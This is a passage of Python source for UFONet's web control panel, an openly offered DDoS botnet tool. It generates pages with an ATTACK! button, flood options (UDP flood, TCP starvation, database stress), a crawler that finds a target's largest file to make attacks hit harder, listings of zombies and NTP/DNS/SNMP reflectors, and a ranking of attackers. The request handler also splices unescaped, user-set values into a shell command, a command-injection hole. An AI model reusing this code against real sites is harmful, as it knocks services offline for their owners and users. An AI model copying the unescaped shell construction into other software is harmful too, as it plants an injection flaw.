  3205. <td align="left">* <a href="https://en.wikipedia.org/wiki/UDP_flood_attack" target="_blank">UFOUDP</a>:</td><td align="right"> <input type="text" name="ufoudp" id="ufoudp" size="4" placeholder="101"></td>
  3206. </tr><tr>
  3207. <td align="left">* <a href="https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf" target="_blank">NUKE</a>:</td><td align="right"> <input type="text" name="nuke" id="nuke" size="4" placeholder="1001"></td>
  3208. </tr>
  3209. </table>
  3210. <hr>
  3211. * Set db stress parameter: <input type="text" name="dbstress" id="dbstress" size="22" placeholder="search.php?q=">
  3212. <hr></div>
  3213. <button title="Start to attack your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" id="attack_button">ATTACK!</button> | Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></pre>
  3214. </td><td>
  3215. <table><tr><td><table><tr><td><img src='data:image/png;base64,"""+self.alien6_img+"""' onclick="Grid()"></td></tr><tr><td align="right"><a href="javascript:Grid()">GLOBAL.GRID</a></td></tr></table></td></tr><tr><td><table><tr><td><img src='data:image/png;base64,"""+self.alien8_img+"""' onclick="Wargames()"></td></tr><tr><td align="right"><a href="javascript:Wargames()">GLOBAL.WARGAMES</a></td></tr></table></td></tr></table>
  3216. </td></tr></table>
  3217. </td></tr></table>
  3218. <hr>
  3219. <div id="cmdOut"></div>
  3220. """ + self.pages["/footer"]
  3221. self.pages["/help"] = self.pages["/header"] + """<script language="javascript">
  3222. function show(one) {
  3223. var nb = document.getElementsByTagName("div");
  3224. for(var x=0; x<nb.length; x++) {
  3225. name = nb[x].getAttribute("class");
  3226. if (name == 'nb') {
  3227. if (nb[x].id == one) {
  3228. nb[x].style.display = 'block';
  3229. }
  3230. else {
  3231. nb[x].style.display = 'none';
  3232. }
  3233. }
  3234. }
  3235. }
  3236. </script>
  3237. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  3238. </head>
  3239. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3240. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3241. <center>
  3242. <table cellpadding="38" cellspacing="38">
  3243. <tr>
  3244. <td>
  3245. <div class="ringMenu">
  3246. <ul>
  3247. <li class="main"><a href="help">Help</a></li>
  3248. <li class="top"><a href="botnet">Botnet</a></li>
  3249. <li class="right"><a href="inspect">Inspect</a></li>
  3250. <li class="bottom"><a href="attack">Attack</a></li>
  3251. <li class="left"><a href="gui">RETURN</a></li>
  3252. </ul>
  3253. </div>
  3254. </td>
  3255. <td>
  3256. <table cellpadding="24" cellspacing="25" border="1">
  3257. <tr>
  3258. <td>
  3259. <a href="javascript:alert('DAIALAFSÄ & LUÄRKS says: Hi! """ + self.ranking + """, The first steps are easy ... RTFM! ;-)');"><img src='data:image/png;base64,"""+self.aliens_img+"""'></a>
  3260. </td>
  3261. <td><pre>
  3262. <div><a id="mH1" href="javascript:show('nb1');" style="text-decoration: none;" >+ Project info</a></div>
  3263. <div class="nb" id="nb1" style="display: none;"> <b>UFONet</b> - is a set of tools designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks
  3264. and that allows to combine both in a single offensive.
  3265. </div><div><a id="mH2" href="javascript:show('nb2');" style="text-decoration: none;" >+ How does it work?</a></div> <div class="nb" id="nb2" style="display: none;"> You can read more info on next links:
  3266. - <a href="https://cwe.mitre.org/data/definitions/601.html" target="_blank">CWE-601:Open Redirect</a>
  3267. - <a href="https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2" target="_blank">OWASP:URL Redirector Abuse</a>
  3268. - <a href="https://ufonet.03c8.net/ufonet/ufonet-schema.png" target="_blank">UFONet:Botnet Schema</a></div> <div><a id="mH3" href="javascript:show('nb3');" style="text-decoration: none;" >+ How to start?</a></div> <div class="nb" id="nb3" style="display: none;"> All you need to start an attack is:
  3269. - a list of '<a href="https://en.wikipedia.org/wiki/Zombie" target="_blank">zombies</a>'; to conduct their connections to your target
  3270. - a place; to efficiently hit your target</div> <div><a id="mH4" href="javascript:show('nb4');" style="text-decoration: none;" >+ Updating</a></div><div class="nb" id="nb4" style="display: none;">
  3271. This feature can be used <u>ONLY</u> if you have cloned UFONet.
  3272. - <i>git clone <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">https://code.03c8.net/epsylon/ufonet</a></i>
  3273. - <i>git clone <a href="https://github.com/epsylon/ufonet" target="_blank">https://github.com/epsylon/ufonet</a></i>
  3274. </div><div>
  3275. <a id="mH5" href="javascript:show('nb5');" style="text-decoration: none;" >+ FAQ/Issues?</a></div><div class="nb" id="nb5" style="display: none;">
  3276. If you have problems with UFONet, try to solve them following next links:
  3277. - <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">Website FAQ</a> section
  3278. - UFONet <a href="https://github.com/epsylon/ufonet/issues" target="_blank">issues</a></div>
  3279. <div><a id="mH6" href="javascript:show('nb6');" style="text-decoration: none;" >+ How can help?</a></div> <div class="nb" id="nb6" style="display: none;"> - Testing; use the tool and search for possible bugs and new ideas
  3280. - Coding; you can try to develop more features
  3281. - Promoting; talk about UFONet on the internet, events, hacklabs, etc
  3282. - Donating; <a href="https://blockchain.info/address/19aXfJtoYJUoXEZtjNwsah2JKN9CK5Pcjw" target="_blank">bitcoin</a>, objects, support, love ;-)</div> <div><a id="mH7" href="javascript:show('nb7');" style="text-decoration: none" >+ Contact methods</a></div> <div class="nb" id="nb7" style="display: none;"> You can contact using:
  3283. - Email: <a href="mailto: epsylon@riseup.net">epsylon@riseup.net</a> [GPG:0xB8AC3776]
  3284. - <a target="_blank" href="wormhole">Wormhole</a>: irc.freenode.net / #ufonet
  3285. </div></td> </tr></table> </td></tr></table>
  3286. """ + self.pages["/footer"]
  3287. self.pages["/inspect"] = self.pages["/header"] + """<script language="javascript">
  3288. function Requests() {
  3289. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3290. }
  3291. function Abduction() {
  3292. var win_requests = window.open("abduction","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3293. }
  3294. function Start(){
  3295. target=document.getElementById("target").value
  3296. String.prototype.startsWith = function(prefix){
  3297. return this.indexOf(prefix) === 0;
  3298. }
  3299. if(target.startsWith("http")){
  3300. params="target="+escape(target)
  3301. }else{
  3302. window.alert("You need to enter a valid url: http(s)://target.com/page.html");
  3303. return
  3304. }
  3305. runCommandX("cmd_inspect",params)
  3306. }
  3307. </script>
  3308. </head>
  3309. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3310. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3311. <center>
  3312. <table cellpadding="38" cellspacing="38">
  3313. <tr>
  3314. <td>
  3315. <div class="ringMenu">
  3316. <ul>
  3317. <li class="main"><a href="inspect">Inspect</a></li>
  3318. <li class="top"><a href="help">Help</a></li>
  3319. <li class="right"><a href="botnet">Botnet</a></li>
  3320. <li class="bottom"><a href="attack">Attack</a></li>
  3321. <li class="left"><a href="gui">RETURN</a></li>
  3322. </ul>
  3323. </div>
  3324. </td>
  3325. <td>
  3326. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  3327. <tr>
  3328. <td>
  3329. <pre>
  3330. This feature will provide you the biggest file on target.
  3331. You can use this before to attack to be more effective.
  3332. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  3333. <hr>
  3334. * Set page to crawl: <input type="text" name="target" id="target" size="30" placeholder="http(s)://target.com/list_videos.php">
  3335. <hr>
  3336. <button title="Start to search for biggest file on your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">INSPECT!</button></pre>
  3337. </td><td><table><tr><td><img src='data:image/png;base64,"""+self.alien7_img+"""' onclick="Abduction()"></td></tr><tr><td align="right"><a href="javascript:Abduction()">ABDUCTION!</a></td></tr></table></td>
  3338. </tr></table>
  3339. </td>
  3340. </tr>
  3341. </table>
  3342. <hr>
  3343. <div id="cmdOut"></div>
  3344. """ + self.pages["/footer"]
  3345. self.pages["/ranking"] = self.pages["/header"] + """<script language="javascript">
  3346. function Grid() {
  3347. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3348. }
  3349. function Stats() {
  3350. var win_stats = window.open("stats","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3351. }
  3352. function Board() {
  3353. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3354. }
  3355. function Links() {
  3356. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3357. }
  3358. function Streams() {
  3359. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3360. }
  3361. function Sync_ranking(){
  3362. ranking_source=document.getElementById("ranking_source").value
  3363. if(ranking_source == "") {
  3364. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  3365. return
  3366. }else{
  3367. params="ranking_source="+escape(ranking_source)
  3368. runCommandX("cmd_refresh_ranking",params)
  3369. document.getElementById("nb1").style.display = "none";
  3370. document.getElementById("nb1").style.display = "block";
  3371. setTimeout("location.reload()", 10000)
  3372. }
  3373. }
  3374. </script></head>
  3375. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3376. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3377. <center>
  3378. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  3379. <td><a href="javascript:alert('Commander DPR says: I love new blood!! """ + self.ranking + """, in the Ranking section you can see information about how to raise your grade, meet the best UFOMasters, be close to those who are like you and try to find partners to dominate the multi-verse... Until then: Dont be evil!');"><img src='data:image/png;base64,"""+self.commander_img+"""'></a></td>
  3380. <td>GRADUATION/CLANS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit your own stats..." onclick="Stats()">VISIT STATS!</button><br><br><button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit data links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit TV.streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  3381. </tr></table>
  3382. <table cellpadding="5" cellspacing="10">
  3383. <tr>
  3384. <td align="center">
  3385. Your ranking is: <b>""" + str(self.ranking) + """</b>
  3386. </td>
  3387. </tr>
  3388. <tr>
  3389. <td>
  3390. <table border="1" cellpadding="10" cellspacing="10">
  3391. <tr>
  3392. <td align="center"><b><u>GRADE:</u></b></td><td align="center"><b><u>RANKING:</u></b></td><td align="center"><b><u>REQUIRED:</u></b></td></tr>
  3393. <tr>
  3394. <td align="center"><font color='orange' size='4'>-</font></td><td align="center"><font color='orange'>Unknown</font></td><td align='center'><a style="text-decoration:none" href="javascript:alert('You havent a correct key set on your configuration to unmask this Motherships!');">KEY?</a></td></tr>
  3395. <tr>
  3396. <td align="center"><font color='white' size='4'>*</font></td><td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>missions<4</font></td></tr>
  3397. <tr>
  3398. <td align="center"><font color='cyan' size='4'>**</font></td><td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>missions>4</font></td></tr>
  3399. <tr>
  3400. <td align="center"><font color='blueviolet' size='4'>***</font></td><td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>crashed=1</font></td></tr>
  3401. <tr>
  3402. <td align="center"><font color='blue' size='4'>****</font></td><td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>crashed>1<4</font></td></tr>
  3403. <tr>
  3404. <td align="center"><font color='red' size='4'>&#x25BC;</font></td><td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'><a style="text-decoration:none" href="javascript:alert('Secret Achievement!');">???</a></font></td></tr>
  3405. </table>
  3406. </td>
  3407. </tr></table>
  3408. <br>
  3409. <table cellpadding="5" cellspacing="10">
  3410. <tr>
  3411. <td>Blackhole/IP:</td>
  3412. <td><input type="text" name="ranking_source" id="ranking_source" size="20" value='"""+default_blackhole+"""'></td>
  3413. <td><button title="Syncronize data from a blackhole with your device..." onclick="Sync_ranking()">DOWNLOAD!</button></td>
  3414. </tr></table>
  3415. <br>
  3416. <div id="nb2" style="display: none;">"""+str(self.extract_ranking_table())+"""</div>
  3417. Last update: <font color='"""+ self.ranking_status_color + """'>"""+ self.ranking_datetime + """</font><br><br>
  3418. <div id="cmdOut"></div>
  3419. <div id="nb1" style="display: block;">"""+self.ranking_text+"""</div>
  3420. <table bgcolor="black" cellpadding="5" cellspacing="10" border="0"><tr>
  3421. <td>
  3422. </td><td>
  3423. <table border="1" cellpadding="5" cellspacing="10">
  3424. <tr>
  3425. <td align="center"><b><u>TOTAL_ON_GRID:</u></b></td><td align="center"><b><u>"""+str(self.ranking_grid_total)+"""</u></b></td></tr>
  3426. <tr>
  3427. <td align="center"><font color='orange'>Unknown</font></td><td align='center'><font color='orange'>"""+str(self.ranking_grid_unknown)+"""</font></td></tr>
  3428. <tr>
  3429. <td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>"""+str(self.ranking_grid_rookie)+"""</font></td></tr>
  3430. <tr>
  3431. <td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>"""+str(self.ranking_grid_mercenary)+"""</font></td></tr>
  3432. <tr>
  3433. <td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>"""+str(self.ranking_grid_bandit)+"""</font></td></tr>
  3434. <tr>
  3435. <td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>"""+str(self.ranking_grid_ufommander)+"""</font></td></tr>
  3436. <tr>
  3437. <td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'>"""+str(self.ranking_grid_ufoleet)+"""</font></td></tr>
  3438. </table>
  3439. </td><td>
  3440. <table border="1" cellpadding="5" cellspacing="10">
  3441. <tr>
  3442. <td><b><u>TOP_5_MOTHERSHIPS:</u></b></td></tr>
  3443. <tr>
  3444. <td align='center'>"""+str(self.ranking_top5_player1)+"""</td></tr>
  3445. <tr>
  3446. <td align='center'>"""+str(self.ranking_top5_player2)+"""</td></tr>
  3447. <tr>
  3448. <td align='center'>"""+str(self.ranking_top5_player3)+"""</td></tr>
  3449. <tr>
  3450. <td align='center'>"""+str(self.ranking_top5_player4)+"""</td></tr>
  3451. <tr>
  3452. <td align='center'>"""+str(self.ranking_top5_player5)+"""</td></tr>
  3453. </table>
  3454. </td><td>
  3455. <table border="1" cellpadding="5" cellspacing="10">
  3456. <tr>
  3457. <td><b><u>RANDOM_SIMILAR:</u></b></td></tr>
  3458. <tr>
  3459. <td align='center'>"""+str(self.ranking_similar_player1)+"""</td></tr>
  3460. <tr>
  3461. <td align='center'>"""+str(self.ranking_similar_player2)+"""</td></tr>
  3462. <tr>
  3463. <td align='center'>"""+str(self.ranking_similar_player3)+"""</td></tr>
  3464. </table>
  3465. </td><td>
  3466. <table border="1" cellpadding="5" cellspacing="10">
  3467. <tr>
  3468. <td><b><u>AI_SUGGESTION:</u></b></td></tr>
  3469. <tr>
  3470. <td align='center'>"""+str(self.ranking_top1_player1)+"""</td></tr>
  3471. </table>
  3472. </td>
  3473. </tr></table>
  3474. </center>
  3475. <hr>
  3476. """ + self.pages["/footer"]
  3477. self.pages["/lib.js"] = """function loadXMLDoc() {
  3478. var xmlhttp;
  3479. if (window.XMLHttpRequest) {
  3480. // code for IE7+, Firefox, Chrome, Opera, Safari
  3481. xmlhttp = new XMLHttpRequest();
  3482. } else {
  3483. // code for IE6, IE5
  3484. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  3485. }
  3486. xmlhttp.onreadystatechange = function() {
  3487. if (xmlhttp.readyState == 4 ) {
  3488. if(xmlhttp.status == 200){
  3489. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  3490. setTimeout("loadXMLDoc()", 3000);
  3491. }
  3492. }
  3493. }
  3494. xmlhttp.send();
  3495. }
  3496. function runCommandX(cmd,params) {
  3497. var xmlhttp;
  3498. if (window.XMLHttpRequest) {
  3499. // code for IE7+, Firefox, Chrome, Opera, Safari
  3500. xmlhttp = new XMLHttpRequest();
  3501. } else {
  3502. // code for IE6, IE5
  3503. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  3504. }
  3505. xmlhttp.onreadystatechange = function() {
  3506. if (xmlhttp.readyState == 4 ) {
  3507. if(xmlhttp.status == 200){
  3508. if(cmd.indexOf("?")!=-1){
  3509. s=cmd.split("?")
  3510. cmd=s[0]
  3511. params=s[1]
  3512. }
  3513. document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
  3514. //document.getElementById("cmdOut").scrollIntoView();
  3515. newcmd=cmd
  3516. if(newcmd=="cmd_list_army"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"||newcmd=="cmd_view_changelog"){ //do not refresh listing army
  3517. return;
  3518. } else {
  3519. if(newcmd=="cmd_test_army" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_sync_links" || newcmd=="cmd_sync_globalnet" || newcmd=="cmd_sync_streams" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_transfer_link" || newcmd=="cmd_transfer_globalnet" || newcmd=="cmd_transfer_stream" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_decrypt_links" || newcmd=="cmd_decrypt_globalnet" || newcmd=="cmd_decrypt_streams" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_community" || newcmd=="cmd_upload_community" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_edit_supply" || newcmd=="cmd_job_remove" || newcmd=="cmd_job_remove_all" || newcmd=="cmd_job_add" || newcmd =="cmd_job_add_all" || newcmd=="cmd_job_cancel" || newcmd=="cmd_job_cancel_all" || newcmd=="cmd_job_filter" || newcmd=="cmd_link_filter" || newcmd=="cmd_globalnet_filter" || newcmd=="cmd_stream_filter" || newcmd=="cmd_grid_filter" || newcmd=="cmd_search") newcmd=newcmd+"_update"
  3520. //do not refresh if certain text on response is found
  3521. if(newcmd.match(/update/) &&
  3522. (
  3523. xmlhttp.responseText.match(/Generating random exit/) ||
  3524. xmlhttp.responseText.match(/Biggest File/) ||
  3525. xmlhttp.responseText.match(/Abduction finished/) ||
  3526. xmlhttp.responseText.match(/Not any zombie active/) ||
  3527. xmlhttp.responseText.match(/Target looks OFFLINE/) ||
  3528. xmlhttp.responseText.match(/Unable to connect to target/) ||
  3529. xmlhttp.responseText.match(/Something wrong/) ||
  3530. xmlhttp.responseText.match(/Target url not valid/) ||
  3531. xmlhttp.responseText.match(/updated/) ||
  3532. xmlhttp.responseText.match(/For HELP use:/) ||
  3533. xmlhttp.responseText.match(/Not any .git repository found/) ||
  3534. xmlhttp.responseText.match(/End of /) ||
  3535. xmlhttp.responseText.match(/Exiting /) ||
  3536. xmlhttp.responseText.match(/Bye/)
  3537. )
  3538. ) return;
  3539. setTimeout(function(){runCommandX(newcmd,params)}, 3000);
  3540. return;}
  3541. }
  3542. }
  3543. }
  3544. if(typeof params != "undefined") cmd=cmd+"?"+params
  3545. xmlhttp.open("GET", cmd, true);
  3546. xmlhttp.send();
  3547. }
  3548. """
  3549. self.pages["/requests"] = self.html_requests()
  3550. self.pages["/board_profile"] = self.html_board_profile()
  3551. self.pages["/grid_profile"] = self.html_grid_profile()
  3552. def buildGetParams(self, request):
  3553. params = {}
  3554. try:
  3555. path = re.findall("^GET ([^\s]+)", request.decode('utf-8'))
  3556. except:
  3557. path = re.findall("^GET ([^\s]+)", request)
  3558. if path:
  3559. path = path[0]
  3560. start = path.find("?")
  3561. if start != -1:
  3562. if path[start+1:start+7] == "zombie":
  3563. params['zombie']=path[start+8:]
  3564. return params
  3565. if path[start+1:start+7] == "target":
  3566. params['target']=path[start+8:]
  3567. return params
  3568. for param in path[start+1:].split("&"):
  3569. f = param.split("=")
  3570. if len(f) == 2:
  3571. var = f[0]
  3572. value = f[1]
  3573. value = value.replace("+", " ")
  3574. value = urllib.parse.unquote(value)
  3575. params[var] = value
  3576. return params
  3577. def save_profile(self,pGet):
  3578. # set values for profile configuration from html form to json file
  3579. if "profile_token" in list(pGet.keys()):
  3580. profile_token = pGet["profile_token"]
  3581. else:
  3582. profile_token = self.profile_token
  3583. if "profile_icon" in list(pGet.keys()):
  3584. profile_icon = pGet["profile_icon"]
  3585. else:
  3586. profile_icon = self.profile_icon
  3587. if "profile_nick" in list(pGet.keys()):
  3588. profile_nick = pGet["profile_nick"]
  3589. else:
  3590. profile_nick = self.profile_nick
  3591. # set new values on boardcfg json file
  3592. with open(self.mothership_boardcfg_file, "w") as f:
  3593. json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4)
  3594. def save_grid(self,pGet):
  3595. # set values for profile configuration from html form to json file
  3596. if "grid_token" in list(pGet.keys()):
  3597. grid_token = pGet["grid_token"]
  3598. else:
  3599. grid_token = self.grid_token
  3600. if "grid_contact" in list(pGet.keys()):
  3601. grid_contact = pGet["grid_contact"]
  3602. else:
  3603. grid_contact = self.grid_contact
  3604. if "grid_nick" in list(pGet.keys()):
  3605. grid_nick = pGet["grid_nick"]
  3606. else:
  3607. grid_nick = self.grid_nick
  3608. # set new values on gridcfg json file
  3609. with open(self.mothership_gridcfg_file, "w") as f:
  3610. json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4)
  3611. def save_cfg(self,pGet):
  3612. # set values for requests configuration from html form to json file
  3613. if "rproxy" in list(pGet.keys()):
  3614. frm_rproxy = pGet["rproxy"]
  3615. else:
  3616. frm_rproxy = self.rproxy
  3617. if "ruseragent" in list(pGet.keys()):
  3618. frm_ruseragent = pGet["ruseragent"]
  3619. else:
  3620. frm_ruseragent = self.ruseragent
  3621. if "rreferer" in list(pGet.keys()):
  3622. frm_rreferer = pGet["rreferer"]
  3623. else:
  3624. frm_rreferer = self.rreferer
  3625. if "rhost" in list(pGet.keys()):
  3626. frm_rhost = pGet["rhost"]
  3627. else:
  3628. frm_rhost = self.rhost
  3629. if "rxforw" in list(pGet.keys()):
  3630. frm_rxforw = pGet["rxforw"]
  3631. else:
  3632. if "update" in list(pGet.keys()):
  3633. frm_rxforw = ""
  3634. else:
  3635. frm_rxforw = self.rxforw
  3636. if "rxclient" in list(pGet.keys()):
  3637. frm_rxclient = pGet["rxclient"]
  3638. else:
  3639. if "update" in list(pGet.keys()):
  3640. frm_rxclient = ""
  3641. else:
  3642. frm_rxclient = self.rxclient
  3643. if "rtimeout" in list(pGet.keys()):
  3644. frm_rtimeout = pGet["rtimeout"]
  3645. else:
  3646. frm_rtimeout = self.rtimeout
  3647. if "rretries" in list(pGet.keys()):
  3648. frm_rretries = pGet["rretries"]
  3649. else:
  3650. frm_rretries = self.rretries
  3651. if "rdelay" in list(pGet.keys()):
  3652. frm_rdelay = pGet["rdelay"]
  3653. else:
  3654. frm_rdelay = self.rdelay
  3655. if "threads" in list(pGet.keys()):
  3656. frm_threads = pGet["threads"]
  3657. else:
  3658. frm_threads = self.threads
  3659. if "rssl" in list(pGet.keys()):
  3660. frm_rssl = pGet["rssl"]
  3661. else:
  3662. if "update" in list(pGet.keys()):
  3663. frm_rssl = ""
  3664. else:
  3665. frm_rssl = self.rssl
  3666. # set new values on webcfg json file
  3667. with open(self.mothership_webcfg_file, "w") as f:
  3668. json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads, "rssl":frm_rssl}, f, indent=4)
  3669. def get(self, request):
  3670. # set request options of the user
  3671. cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'"
  3672. if self.rxforw == "on":
  3673. cmd_options = cmd_options + " --xforw"
  3674. if self.rxclient == "on":
  3675. cmd_options = cmd_options + " --xclient"
  3676. if self.rssl == "on":
  3677. cmd_options = cmd_options + " --force-ssl"
  3678. cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui
  3679. runcmd = ""
  3680. try:
  3681. res = re.findall("^GET ([^\s]+)", request.decode('utf-8'))
  3682. except:
  3683. res = re.findall("^GET ([^\s]+)", request)
  3684. if res is None or len(res)==0:
  3685. return
  3686. pGet = {}
  3687. page = res[0]
  3688. paramStart = page.find("?")
  3689. if paramStart != -1:
  3690. page = page[:paramStart]
  3691. try:
  3692. pGet = self.buildGetParams(request.decode('utf-8'))
  3693. except:
  3694. pGet = self.buildGetParams(request)
  3695. if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"):
  3696. if os.path.exists("core/"+page[1:]):
  3697. try:
  3698. f=open("core/"+page[1:],'r',encoding="utf-8")
  3699. data = f.read()
  3700. self.pages[page]=data
  3701. except:
  3702. f=open("core/"+page[1:],'rb') # ajax map related
  3703. data = f.read()
  3704. self.pages[page]=data
  3705. elif page == "/js/ajax.js":
  3706. from .ajaxmap import AjaxMap
  3707. self.pages[page] = AjaxMap().ajax(pGet)
  3708. if page == "/cmd_check_tool":
  3709. self.pages["/cmd_check_tool"] = "<pre>Waiting for updates results...</pre>"
  3710. runcmd = "("+python_version+" -i ufonet --update |tee /tmp/out) &"
  3711. if page == "/cmd_check_tool_update":
  3712. if not os.path.exists('/tmp/out'):
  3713. open('/tmp/out', 'w').close()
  3714. with open('/tmp/out', 'r') as f:
  3715. self.pages["/cmd_check_tool_update"] = "<pre>"+f.read()+"<pre>"
  3716. if page == "/cmd_view_changelog":
  3717. f = open("docs/VERSION", "r")
  3718. changelog = f.read()
  3719. f.close()
  3720. self.pages["/cmd_view_changelog"] = "</center><pre>"+str(changelog)+"<br /><br/>"
  3721. if page == "/cmd_list_army":
  3722. self.pages["/cmd_list_army"] = "<pre><h1>Total Botnet = "+self.total_botnet+"</h1><table cellpadding='10' cellspacing='10' border='1'><tr><td>UCAVs:</td><td>"+self.num_ucavs+"</td><td>Aliens:</td><td>"+self.num_aliens+"</td></tr><tr><td>Droids:</td><td>"+self.num_droids+"</td><td>Zombies:</td><td>"+self.num_zombies+"</td></tr><tr><td>XML-RPCs:</td><td>"+self.num_rpcs+" </td><td>NTPs:</td><td>"+self.num_ntps+"</td></tr><tr><td>DNSs:</td><td>"+self.num_dnss+"</td><td>SNMPs:</td><td>"+self.num_snmps+"</td></tr></table> <hr><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: 